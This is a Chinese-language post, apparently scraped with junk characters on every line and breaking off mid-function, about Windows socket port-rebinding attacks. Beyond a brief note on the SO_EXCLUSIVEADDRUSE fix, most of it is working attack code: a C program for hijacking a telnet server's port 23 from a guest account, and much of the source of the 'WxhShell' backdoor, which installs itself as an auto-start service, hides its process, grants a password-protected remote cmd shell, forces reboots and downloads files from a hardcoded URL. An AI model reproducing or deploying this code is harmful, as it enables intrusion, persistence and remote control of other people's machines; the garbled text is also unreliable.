在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
}l.KpdRT2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
wX-RQ[2X 8]My
k> saddr.sin_family = AF_INET;
54=}GnZN 'To<T saddr.sin_addr.s_addr = htonl(INADDR_ANY);
3QCMK^#Z: ewo*7j4* bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
S&n[4* q z=yMIy= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
b![t6-f^z "\`>2 这意味着什么?意味着可以进行如下的攻击:
"VV914*z DXKyRkn6e 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
Ip>^O/}$1 9U]pH%.9 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
DeA @0HOxh }g}6qCv7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3nwz<P !loO%3_) 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
<E"*)Oi lNHNL
a>W 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
yHl@_rN
sC KZECo1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
8,=G1c O-Dc[t% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
gyC^K3} otU@X 3<_ #include
_]P
a>8X* #include
_=uviMuE #include
VR"8Di&) #include
MM7"a?y) DWORD WINAPI ClientThread(LPVOID lpParam);
=Qyqfy*@D? int main()
6mwvI4) {
.Nc_n5D6 WORD wVersionRequested;
Pow|:Lau! DWORD ret;
,`<]>;s WSADATA wsaData;
Bgf=\7;5 BOOL val;
NNgK:YibD SOCKADDR_IN saddr;
@Eo4U]- SOCKADDR_IN scaddr;
kr#I{gF int err;
Cgo9rC~] SOCKET s;
gTnS[ SOCKET sc;
oK)[p!D?0{ int caddsize;
B0v|{C HANDLE mt;
fO#?k<p DWORD tid;
FK6K6wU52m wVersionRequested = MAKEWORD( 2, 2 );
Z^<Sj5}6 err = WSAStartup( wVersionRequested, &wsaData );
rmoJ
=.' if ( err != 0 ) {
HQl~Dh0DJ printf("error!WSAStartup failed!\n");
I:nI6gF return -1;
+1x)z~q= }
zFOL(s.h|0 saddr.sin_family = AF_INET;
!Pw$48cg XYts8}y5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
"i&fp:E0 {f-XyF1` saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
)PwQ^||{ saddr.sin_port = htons(23);
J8J!#j. if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
w3d34*0$ {
^eobp.U printf("error!socket failed!\n");
YN/u9[=` return -1;
C*a,<` }
q4)Ey val = TRUE;
GJvp{U}y9I //SO_REUSEADDR选项就是可以实现端口重绑定的
n_J5zQJ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
?;_H{/)m {
<z',]hy printf("error!setsockopt failed!\n");
+ZX.1[O return -1;
@/LiR>, }
I
:@|^PYw //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
`&H04x"Y$> //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Y_+
SA|s //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
q4+Yv2e
<r w?_`/oqd| if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
OMvT;Vgg {
ac|/Y$\w ret=GetLastError();
.wD>Gs{sH[ printf("error!bind failed!\n");
4j^bpfb, return -1;
e9lOk)`t }
%;tJQ%6-.S listen(s,2);
&5d\~{; while(1)
/w0w*nH {
{gw[%[ZM caddsize = sizeof(scaddr);
pD[pTMG@$ //接受连接请求
QhsVIta sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
-8/ JP
if(sc!=INVALID_SOCKET)
rfc|`*m}0 {
K>$qun?5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
/eb-'m if(mt==NULL)
!O 8.#+ {
IhfZLE., printf("Thread Creat Failed!\n");
HJ",Sle break;
=6fB*bNk] }
~{$L9;x }
.+HcA x{/2 CloseHandle(mt);
a>w~FUm* }
)O&z5n7t4s closesocket(s);
@gEr+O1K( WSACleanup();
UG # X/%p return 0;
{l@WCR }
n_}aZB3;U DWORD WINAPI ClientThread(LPVOID lpParam)
T=>vh*J {
6m@0;Ht SOCKET ss = (SOCKET)lpParam;
me:iQ.g SOCKET sc;
\+9;!VWhl unsigned char buf[4096];
JL``iA SOCKADDR_IN saddr;
l/QhD?)9 long num;
&y\igX1 DWORD val;
f]]f85 DWORD ret;
L0xsazX:x //如果是隐藏端口应用的话,可以在此处加一些判断
pr/'J!{^ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
K'V 2FTJI saddr.sin_family = AF_INET;
cl_TF[n? saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
`H"vR:~{ saddr.sin_port = htons(23);
"|hlDe< if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
/S[?{Q A {
14-]esSa printf("error!socket failed!\n");
dWUUxKC return -1;
TA| s@T{ }
?9Ma^C;} val = 100;
E>"8/ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{"t5\U6cKM {
\FXp*FbQ ret = GetLastError();
~?d>fR:X return -1;
J)Ol"LXV }
>uHb ^ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
(-J<Vy] {
R+uw/LG ret = GetLastError();
;?`@"YG) return -1;
iu|v9+ }
C5MqwNX if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
W "k|K: {
#
M>wH`Q# printf("error!socket connect failed!\n");
+|0 t closesocket(sc);
xh r[A closesocket(ss);
}#bZ8tm& return -1;
GMw)* }
>4c` UW while(1)
&oEyixe {
fbV@= (y? //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
djGs~H>;U_ //如果是嗅探内容的话,可以再此处进行内容分析和记录
cWM: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
5NFRPGYX num = recv(ss,buf,4096,0);
7f
r>ZY^ if(num>0)
0MrN:M2B send(sc,buf,num,0);
^vM_kArA else if(num==0)
#D0 ~{H break;
`O
n(v num = recv(sc,buf,4096,0);
G1[(F`t> if(num>0)
B!uxs send(ss,buf,num,0);
He<;4?: else if(num==0)
+q-c8z break;
]!faA\1 }
U!Mf]3
closesocket(ss);
`S$sQ& closesocket(sc);
U6c@Et , return 0 ;
.
pP7"E4] }
,cD1{T\ 5k~\or 5_ m9!DOL1pl ==========================================================
!5~k:1= x_W3sS]ej 下边附上一个代码,,WXhSHELL
}lO
}x 4 4`WYK l ==========================================================
|]tZ hI"3< &F`L}#oL& #include "stdafx.h"
y!5:dvt $L\@da? #include <stdio.h>
TzY*; #include <string.h>
KSsWjF}d #include <windows.h>
uY]T:UVk #include <winsock2.h>
]5)"gL%H` #include <winsvc.h>
.<.#aY;N #include <urlmon.h>
lRH0)5` Bq{]Eh0% #pragma comment (lib, "Ws2_32.lib")
,5.
<oDH #pragma comment (lib, "urlmon.lib")
|*fNH(8&H ,Z5Fea #define MAX_USER 100 // 最大客户端连接数
cd&B?\I #define BUF_SOCK 200 // sock buffer
yzg9I #define KEY_BUFF 255 // 输入 buffer
y!hi"! +ouY #define REBOOT 0 // 重启
~#4~_d.=L #define SHUTDOWN 1 // 关机
{G%3*=?,j hIo0S8MOj$ #define DEF_PORT 5000 // 监听端口
ib; yu_ 0Az/fzJlz #define REG_LEN 16 // 注册表键长度
7H#2WFQ7 #define SVC_LEN 80 // NT服务名长度
8W$L:{ez H `5Ct // 从dll定义API
8t=3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
l=NAq_?N\ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
bQj`g2eyM typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
Bj=@&; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
=]d^3bqN `-u7 I // wxhshell配置信息
:*cHA struct WSCFG {
gi1j/j7 int ws_port; // 监听端口
Oq}ip char ws_passstr[REG_LEN]; // 口令
[Xq<EEb int ws_autoins; // 安装标记, 1=yes 0=no
gb(#DbI char ws_regname[REG_LEN]; // 注册表键名
rei5{PC char ws_svcname[REG_LEN]; // 服务名
`V@z&n0P6 char ws_svcdisp[SVC_LEN]; // 服务显示名
1lsLG+Rpxi char ws_svcdesc[SVC_LEN]; // 服务描述信息
6%UY1Q.? char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Vmtzig3w[ int ws_downexe; // 下载执行标记, 1=yes 0=no
"qE {a>d char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
3(o7co-f char ws_filenam[SVC_LEN]; // 下载后保存的文件名
)$h-ZYc YuA7r"c };
^}@`!ON ])=H // default Wxhshell configuration
m3luhGn struct WSCFG wscfg={DEF_PORT,
m/{Y]D{2 "xuhuanlingzhe",
,ex]$fQ' 1,
,jTPg/r "Wxhshell",
BCBU b "Wxhshell",
#fN/LO "WxhShell Service",
/3F<=zi kO "Wrsky Windows CmdShell Service",
z'*ml ? "Please Input Your Password: ",
zhjJ>d%w 1,
D$$3fN.iEL "
http://www.wrsky.com/wxhshell.exe",
PLdf_/]- "Wxhshell.exe"
=1IEpxh% };
?yf_Dt B>@D,)/bT5 // 消息定义模块
9?(x>P char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
T\fudmj& char *msg_ws_prompt="\n\r? for help\n\r#>";
,H@TYw char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
b*`fLrqV. char *msg_ws_ext="\n\rExit.";
CC>($k" char *msg_ws_end="\n\rQuit.";
0Gx*'B= char *msg_ws_boot="\n\rReboot...";
CWBbSGk char *msg_ws_poff="\n\rShutdown...";
?R282l char *msg_ws_down="\n\rSave to ";
Lrlk* FCAJavOGH char *msg_ws_err="\n\rErr!";
/k)
NP char *msg_ws_ok="\n\rOK!";
d=F)y~&' @2?=3Wf char ExeFile[MAX_PATH];
%UBPoq int nUser = 0;
O"8 P#Ed HANDLE handles[MAX_USER];
wR(ttwxK3 int OsIsNt;
~ur)fAuF2 O/$ v69: SERVICE_STATUS serviceStatus;
%_)b>C18y SERVICE_STATUS_HANDLE hServiceStatusHandle;
?;fv!'?% GBW 7Y // 函数声明
,[^o9u uB int Install(void);
Xj(>.E{~H int Uninstall(void);
Cc*|Zw int DownloadFile(char *sURL, SOCKET wsh);
"raj>2@ int Boot(int flag);
<ip)r; void HideProc(void);
y+= \z*9
int GetOsVer(void);
ZRO.bMgZF int Wxhshell(SOCKET wsl);
}-dF+m: void TalkWithClient(void *cs);
v|>BDN@,6 int CmdShell(SOCKET sock);
B]i+,u int StartFromService(void);
"(N-h\7Ex9 int StartWxhshell(LPSTR lpCmdLine);
"~Us#4> 0OEtU5lf`y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
7F~xq#Wi# VOID WINAPI NTServiceHandler( DWORD fdwControl );
j ~.u>4 Gy$o7|PA"{ // 数据结构和表定义
g{]e j SERVICE_TABLE_ENTRY DispatchTable[] =
5uzpTNAMM1 {
<9T
[yg {wscfg.ws_svcname, NTServiceMain},
dbd"pR 8v {NULL, NULL}
Wz5d|b };
nE4l0[_ vRxL&8`& // 自我安装
a9L0f BRy int Install(void)
^,>}%1\ {
(KZUvsS k char svExeFile[MAX_PATH];
+Z]y #= HKEY key;
Y[T J;O!R strcpy(svExeFile,ExeFile);
95VqaR, 80cm6?,xu // 如果是win9x系统,修改注册表设为自启动
N4tc V\O if(!OsIsNt) {
pc^E'h: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7@3M]5:3g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!SN6
?Xy RegCloseKey(key);
r!>es;R8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
lf}?!*V`+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\#HL`R" RegCloseKey(key);
N#mK7|\c?: return 0;
E#m76]vkCU }
L{zamVQG }
e_\SSH@tw }
i;gw=Be else {
-g~iE]x6Y :LG}yq^ // 如果是NT以上系统,安装为系统服务
YK7gd|LR] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?! !;XW if (schSCManager!=0)
x>'?IJZ {
oK%K+h SC_HANDLE schService = CreateService
#xDDh` (
+38Lojb} schSCManager,
>Y44{D\` wscfg.ws_svcname,
]rKH|i wscfg.ws_svcdisp,
[qq`cT@ SERVICE_ALL_ACCESS,
dV'6m@C SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
L>eQ*311 SERVICE_AUTO_START,
l@(t^68OD SERVICE_ERROR_NORMAL,
Z(#XFXd svExeFile,
34HFrMi NULL,
/%c+
eL}l NULL,
<1v{[F_ NULL,
^a: Saq-} NULL,
jp"XS NULL
X+fuhcn );
vr5<LNCLQ if (schService!=0)
(8+.#1!* {
,!xz*o+#@ CloseServiceHandle(schService);
d91I CloseServiceHandle(schSCManager);
Sz^TGF strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
&:IfhS strcat(svExeFile,wscfg.ws_svcname);
jqV)V> M. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
0q-0zXlSL RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ZK W@pW]U RegCloseKey(key);
}//8$Z<( return 0;
2&3eAJC }
yOn H&Jj }
!]n{l_5r CloseServiceHandle(schSCManager);
uMljH@xBc }
2y&_Z^kI? }
UXXqE4x zEnC[~W return 1;
yL^M~lws }
>^2ZM \3J+OY // 自我卸载
g6tWU int Uninstall(void)
.N'%hh {
5M/%%Ox HKEY key;
x0N-[//YV TPV6$a < if(!OsIsNt) {
11^ {WF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
p7?CeyZ-V RegDeleteValue(key,wscfg.ws_regname);
k:&?$ RegCloseKey(key);
NXC~#oG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
S}XB
| RegDeleteValue(key,wscfg.ws_regname);
1t}
(+NNjH RegCloseKey(key);
o+PQ;Dl return 0;
BZnp
#}f }
N>uZ t2 }
Jv '3]( }
Fj4l %= else {
oi%5t)VsS 0%(4G83gw SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
81%qM7v9H if (schSCManager!=0)
WHdqO8 {
j};pv 2 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
, 4h!"c if (schService!=0)
8VBkI Ygb {
;@=@N9qK if(DeleteService(schService)!=0) {
|1\dCE03} CloseServiceHandle(schService);
+3~Gc<OO CloseServiceHandle(schSCManager);
giA~+m~fN return 0;
Z`0r]V`Ys }
K{`2jK# CloseServiceHandle(schService);
S]#=ES'^/ }
mYsuNTx!. CloseServiceHandle(schSCManager);
{!:|.!-u }
?trt4Tbe/ }
z[$9B#P V@5 4k*V return 1;
vh:UXE lm }
pU'`9fLi_ uj+.L6S // 从指定url下载文件
wUZ(Tin int DownloadFile(char *sURL, SOCKET wsh)
&j
wnM {
q^T&A[hMPx HRESULT hr;
P"h,[{Y*> char seps[]= "/";
8O;rp(N.n char *token;
}SJLBy0 char *file;
5Fl char myURL[MAX_PATH];
H8=vQy char myFILE[MAX_PATH];
!pFKC) 4IGQ,RTB strcpy(myURL,sURL);
|n-a\ token=strtok(myURL,seps);
7!` C TE while(token!=NULL)
8gu7f;H/k {
#7cf 8y file=token;
M7cI$=G token=strtok(NULL,seps);
'6Z/-V4k }
Xbsj:Ko]]U K_w0+oY a GetCurrentDirectory(MAX_PATH,myFILE);
h\: tUEg#J strcat(myFILE, "\\");
6{FS/+ strcat(myFILE, file);
SjNwT[.nr7 send(wsh,myFILE,strlen(myFILE),0);
[XY:MUe
send(wsh,"...",3,0);
7p"~:1hU hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6m;wO r if(hr==S_OK)
m%[2x# return 0;
+ - KRp1qq else
<}x|@u return 1;
MIMPJXT#. _,-M8=dL%* }
1dgN10 {KQ-Ce-6 // 系统电源模块
dM@k(9| int Boot(int flag)
yU&g|MV_ {
5jCEy*%P@ HANDLE hToken;
O<H@:W#k TOKEN_PRIVILEGES tkp;
w1!\L_::Y q5K/+N^2? if(OsIsNt) {
)uv$tnP* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
lG^mW\O LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
L-X
_b3E\ tkp.PrivilegeCount = 1;
#D*J5k>2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
*7D$;?" AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
uvK%d\d if(flag==REBOOT) {
"
:nVigw& if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
;r@R (Squ return 0;
bUg 2Bm!y }
+Muia5G else {
%;\2QI`R if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
dQ2i{A"BKz return 0;
S r#fyr }
iJp!ROI }
t BXsWY{ else {
YaE['a if(flag==REBOOT) {
@SMy0:c: if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
{TN@KB return 0;
;hJ/t/7 }
#lVl?F+~ else {
DuC u6j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
KX`nHu; return 0;
7!QXh;u }
~>-;(YU"t }
#p9z#kin MH~qfH>K return 1;
AZ Lt'9UD }
V/[,1W[B B[m{2XzGH // win9x进程隐藏模块
)^'B:ic void HideProc(void)
moM&2rgdrQ {
=rtA{g$)+ a*wJcJTpV" HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
x jUH<LFxy if ( hKernel != NULL )
k~EPVJh" {
M&\ ?)yG pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;cHI3V ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
fyoB]{$p8 FreeLibrary(hKernel);
aZ:?(u] }
2n+XML (/P&;?j return;
Bc@r*zb }
YV!V9 oX]1>#5UMg // 获取操作系统版本
|"E9DD]{ int GetOsVer(void)
L}S4Zz18 {
?kxWj(D OSVERSIONINFO winfo;
2B?i2[a, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
50hh0!1 GetVersionEx(&winfo);
JGNxJ S<] if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
pxnUe1= return 1;
7;-i_&vws else
qN,FX#DP return 0;
vgp%;-p( }
^E?V+3mV 4 AmF^H // 客户端句柄模块
jHw2Q8s|R int Wxhshell(SOCKET wsl)
A-`J!xj#/ {
{EHG | SOCKET wsh;
=X'7V}Q} struct sockaddr_in client;
w3cK:
C0 DWORD myID;
"}aM*(l+\ \osQwGPV while(nUser<MAX_USER)
:Ty*i {
+&8Ud8Q int nSize=sizeof(client);
:\;uJ5
wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Y_YIJ@ if(wsh==INVALID_SOCKET) return 1;
<%JO3E cQ ;Ry!$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
x{o5Ha{ if(handles[nUser]==0)
SpiC0 closesocket(wsh);
*K^O oS else
[MP:Eeg nUser++;
1e| M6* }
g*imswj7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
R2ZQBwB x#VUEu]8 return 0;
IGV.0l }
1>{-wL4rc c^gIK1f- // 关闭 socket
'n#S6.Y: void CloseIt(SOCKET wsh)
iC2nHZ*, {
z(68^-V=: closesocket(wsh);
Ui;s.f nUser--;
5&Kn # ExitThread(0);
ho$%7mc }
trt\PP:H% V/%;:ul. // 客户端请求句柄
ryLNMh void TalkWithClient(void *cs)
g'7hc~= {
{
4{{;
O!Cu.9} SOCKET wsh=(SOCKET)cs;
(,y/nc=GN char pwd[SVC_LEN];
xTJ5VgG char cmd[KEY_BUFF];
?^5*[H char chr[1];
-)+DVG.t int i,j;
l<%~w
U <s3( while (nUser < MAX_USER) {
n{WJ.Y* 9?,.zc^ if(wscfg.ws_passstr) {
5FKd{V' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{# _C //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
f+~!s 2uw //ZeroMemory(pwd,KEY_BUFF);
eakIK+-21y i=0;
!jnIXvT1qy while(i<SVC_LEN) {
PdBhX }Cg~::," // 设置超时
N0hU~| / fd_set FdRead;
IomJo struct timeval TimeOut;
#vwXx r FD_ZERO(&FdRead);
>g2.z> FD_SET(wsh,&FdRead);
JAlsc]XtO9 TimeOut.tv_sec=8;
74Wg@!P TimeOut.tv_usec=0;
Wy )g449 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
?M(Wx if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
E1g$WhXIS 1\{F.v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
X0TGJ,yW( pwd
=chr[0]; gi >{`.]
if(chr[0]==0xd || chr[0]==0xa) { aC 0Jfo
pwd=0; PaJwM%s)L
break; $O!<Zz
} qEz'l'%(
i++; P9wDTZ
:4
} 0+i,,^x.
+[`%b3N k
// 如果是非法用户,关闭 socket 5~0;R`D
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EBLoRW=8ld
} ;mlIWn
]~ UkD*Ct
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _S1uJ~j;E
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RVx<2,['
k<qH<<r*
while(1) { .CpO+z
l/NK.Jr
ZeroMemory(cmd,KEY_BUFF); X\RTHlw']
!YHu
// 自动支持客户端 telnet标准 ZW%`G@d"H-
j=0; "ukbqdKD
while(j<KEY_BUFF) { J)NpG9iN
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); HArYL}l
cmd[j]=chr[0]; o-=lH tR
if(chr[0]==0xa || chr[0]==0xd) { B35f5m7r
cmd[j]=0; $g;xw?~#
break; }iAi`_\0;
} ~T9[\nU\
j++; itvdzPO
} a| cD{d
rd{(E
// 下载文件 .#|pje^
if(strstr(cmd,"http://")) { wv-8\)oA
send(wsh,msg_ws_down,strlen(msg_ws_down),0); DBDfBb
if(DownloadFile(cmd,wsh)) jp`N%O]6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); w[-Bsf
else ;Vt
u8f
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q(W@=-uDK
} +Z*%,m=N(
else { 6'zy"UkH
rOT8!"
switch(cmd[0]) { %}:J
9vra
6B{Awm@v}X
// 帮助 m
Y0C7i
case '?': { XQ8Imkc
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?#m5$CFp
break; .YRSd
} (6{
VMQ
// 安装 P+UK@~D+G
case 'i': { cj
*4XYu
if(Install()) ,YTIYG](
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9A!qg<
else 3>6o=7/PU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'CX
KphlWs
break; ewg WzB9c
} `fyAV@X
// 卸载 Y)`+u#`
R
case 'r': { f14c}YY
if(Uninstall()) }^q#0`e(y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Vzfhj-if
else 9h{G1XL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _JH6bvbQ
break; cw\a,>]H
} x7?{*w&r
// 显示 wxhshell 所在路径 rGWTpN
case 'p': { Apn#o2
char svExeFile[MAX_PATH]; k|5nu-B0v
strcpy(svExeFile,"\n\r"); :*1w;>o)n
strcat(svExeFile,ExeFile); R7i*f/m
send(wsh,svExeFile,strlen(svExeFile),0); A-FwNo2"%
break; 0"N %Vm
} w6_}]
&F
// 重启 f7'%AuSQ(
case 'b': { guvQISQlY
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); d}Om?kn
if(Boot(REBOOT)) b}:Z(L,\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (L1`]cp
else { W#!\.m`5
closesocket(wsh); nq=fSK(
ExitThread(0); >. Y~F(
} )[1m$>
break; q}jf&xUWzH
} $((<le5-)
// 关机 ZE^de(Fm
case 'd': { p98lu'?@
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); & \m\QI
if(Boot(SHUTDOWN)) UL/>t}AG
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _,^sI%
else { QVpZA,
closesocket(wsh); ]Gr'Bt /
ExitThread(0); _$0Ix6y,
} t>xV]W<
break; [H1NP'Kg]
} G u=Rf`o
// 获取shell <_![~n$H
case 's': { N5\<w>
CmdShell(wsh); Q$%@.@
closesocket(wsh); c.fj[U|j
ExitThread(0); "{k3~epYaN
break; 9M<? *8)
} VsC]z,
oV
// 退出 ;IT^SHym
case 'x': { #d~"bn q;c
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zkMQ=,[
CloseIt(wsh); m"*:XfOL
break; u2t<auE9^
} R|suBF3
// 离开 jhLh~.
8
case 'q': { D&shrKFx
send(wsh,msg_ws_end,strlen(msg_ws_end),0); zin,yJ
closesocket(wsh); 61'7b`:(hi
WSACleanup(); ?,j:Y0l.L
exit(1); B:4u2/!5
break; <7GK *I
} jK =[
} v!,O7XGH~
} _KFKx3<m!
yS*PS='P
// 提示信息 &eg,*K} '
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4Qv|Z+$i
} `Ao:}
} >HFJm&lQ
3{ci]h`:y8
return; 1jL?z6S
} 1pV"<,t
R/#*~tPi8
// shell模块句柄 f_7p.H6\
int CmdShell(SOCKET sock) `&_qK~&/X
{ 073(xAkL{
STARTUPINFO si; %Y@3)
ZeroMemory(&si,sizeof(si)); 8^{BuUA
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7v-C-u[E`
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Lg^m?~{
PROCESS_INFORMATION ProcessInfo; L,WKL.
char cmdline[]="cmd"; =4zsAa
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rLwc=(|
return 0;
; H3kb
+
} d|TIrlA
UW+I 8\^
// 自身启动模式 8X%;29tow
int StartFromService(void) C?O{l%0
{ E8xXr>j>#
typedef struct U0rz 4fxc
{ &^<94l
DWORD ExitStatus; I$Z"o9"
DWORD PebBaseAddress; C>+UZ
DWORD AffinityMask; iJYr?3nw;
